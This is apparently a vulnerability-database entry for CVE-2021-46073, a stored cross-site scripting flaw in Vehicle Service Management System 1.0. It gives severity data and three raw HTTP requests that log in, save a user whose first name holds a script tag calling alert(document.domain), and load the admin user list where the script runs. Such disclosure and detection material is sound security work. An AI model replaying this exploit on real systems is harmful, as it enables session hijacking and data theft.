| Title | Vehicle Service Management System 1.0 - Cross Site Scripting |
|---|---|
| Author | TenBird |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 4.8 |
| EPSS Score | 0.05674 |
| CVE ID | CVE-2021-46073 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss vms authenticated vehicle_service_management_system_project vuln |
Vehicle Service Management System 1.0 contains a cross-site scripting vulnerability via the User List section in login panel.
POST /vehicle_service/classes/Login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
username=8ye39n&password=hi3baj
POST /vehicle_service/classes/Users.php?f=save HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Content-Length: 123
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
firstname=test1%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=test&username=test&password=test&type=1
GET /vehicle_service/admin/?page=user/list HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46073.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-46073.pcap
N/AN/A